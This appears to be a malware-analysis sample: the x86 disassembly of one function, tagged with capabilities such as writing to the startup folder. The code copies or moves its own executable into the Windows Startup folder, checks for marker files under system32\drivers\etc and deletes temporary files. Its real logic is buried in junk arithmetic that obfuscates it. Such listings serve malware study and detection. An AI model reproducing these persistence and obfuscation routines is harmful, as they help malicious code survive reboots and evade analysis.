Function at 0x40b510
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x459190]
mov ecx, dword [0x457820]
mov dword [esp + 0x300], eax
mov eax, 0x9ad70599
imul ecx
mov eax, dword [0x457830]
add edx, ecx
imul eax, eax, 0xe4e
imul ecx, ecx, 0x1643
push esi
mov esi, dword [0x45782c]
sar edx, 0xc
imul esi, esi, 0x2220
push edi
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45781c]
add edi, eax
mov eax, 0xb6adc247
imul ecx
add edx, ecx
sar edx, 0xa
mov ecx, edx
mov esi, dword [0x457834]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x457828]
mov eax, 0x77c150d
imul ecx
mov dword [0x45782c], edi
sar edx, 8
mov edi, ecx
mov eax, edx
imul edi, edi, 0x2234
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x1568
sub edi, ecx
add edi, edx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x457834], edi
call fcn.0042ac4d
add esp, 8
cmp eax, 0xffffffff
je 0x40b9ee
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042ac4d
add esp, 8
cmp eax, 0xffffffff
je 0x40b9ee
mov ecx, dword [0x457834]
mov esi, dword [0x457818]
mov eax, 0xf00f00f1
imul esi, esi, 0x2220
imul ecx
mov eax, dword [0x457830]
add edx, ecx
imul eax, eax, 0x1643
sar edx, 0xd
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x457820]
sub edi, eax
mov eax, 0x8f2b7b75
imul esi
add edx, esi
sar edx, 0xb
mov esi, edx
add edi, edx
mov eax, 0xb6adc247
imul ecx
add edx, ecx
sar edx, 0xa
push ebx
mov ecx, edx
push ebp
shr ecx, 0x1f
add ecx, edx
shr esi, 0x1f
push 0x104
lea edx, [esp + 0x214]
add esi, edi
push edx
sub esi, ecx
push 0
mov dword [0x457818], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.0042b6c0
push str..tmp
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042a8b1
mov ecx, dword [0x45782c]
mov edi, dword [str._r_____r____]
mov eax, 0x9ad70599
imul edi, edi, 0x1a74
imul ecx
add edx, ecx
mov ecx, dword [0x457820]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x77826bf5
imul ecx
mov ebp, dword [0x457834]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x59b
sub edi, ecx
add edi, edx
add esp, 0x18
sub edi, ebp
sub edi, 0x2220
push 0
mov dword [0x457820], edi
push 0x18
lea eax, [esp + 0x118]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b748
sub eax, ecx
push esi
lea ecx, [esp + eax + 0x114]
push 0x4481a8
push ecx
call fcn.0042a8b1
mov esi, dword [0x457824]
mov edi, dword [0x457838]
mov eax, 0x77c150d
imul esi
sar edx, 8
mov ebx, edi
imul ebx, ebx, 0xffffdde0
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x2d78bd59
imul edi
sar edx, 0xa
add ebx, edx
mov ecx, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ecx, edx
mov eax, 0x7931d3bd
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add esp, 0xc
mov dword [0x457828], ecx
xor edi, edi
jmp 0x40b7e0
mov ecx, dword [0x457828]
mov esi, dword [0x457824]
mov edi, edi
mov ebp, dword [0x45782c]
imul ecx, ecx, 0xe4e
imul esi, esi, 0x562
mov eax, 0x887d940b
imul ebp, ebp, 0x2220
imul dword [0x45781c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebp
add eax, ecx
lea ecx, [esp + 0x10]
sub eax, esi
push 0
push ecx
mov dword [0x457830], eax
call fcn.0042ac4d
add esp, 8
cmp eax, 0xffffffff
je 0x40b839
lea edx, [esp + 0x10]
push edx
call ebx
inc edi
cmp edi, 0x64
jl 0x40b7d2
mov ecx, dword [0x45782c]
mov esi, dword [0x457834]
mov eax, 0x17eb125
imul esi, esi, 0x2220
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457820]
imul edx, edx, 0x114e
mov edi, dword [esp + 0x318]
mov ecx, eax
sub ecx, esi
mov esi, dword [str._r_____r____]
sub ecx, edx
mov eax, 0x8f2b7b75
imul esi
add edx, esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
test edi, edi
mov dword [0x457838], ecx
je 0x40b8a3
cmp edi, 2
jne 0x40b966
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call esi
test eax, eax
jne 0x40b95a
mov ecx, dword [0x457824]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457838]
imul edx, edx, 0x1685
sub edi, ecx
mov ecx, dword [0x45781c]
add edi, edx
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
sar edx, 0xc
imul ecx, ecx, 0x10e6
mov eax, edx
shr eax, 0x1f
add eax, edx
push 6
sub edi, eax
lea edx, [esp + 0x114]
push edx
lea eax, [esp + 0x18]
add edi, ecx
push eax
mov dword [str._r_____r____], edi
call esi
pop ebp
pop ebx
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a6e1
add esp, 0x304
ret
mov esi, dword [str._r_____r____]
mov ecx, dword [0x457838]
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45781c]
mov eax, 0x17eb125
imul ecx
sar edx, 5
add ebx, edx
mov ecx, edx
mov edx, dword [0x457830]
imul edx, edx, 0x10e6
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
sub ecx, esi
add ecx, 0x1123
cmp edi, 1
mov dword [0x45781c], ecx
je 0x40b9c0
cmp edi, 2
jne 0x40b9d5
push 0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a6e1
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.0042a6e1
add esp, 0x304
ret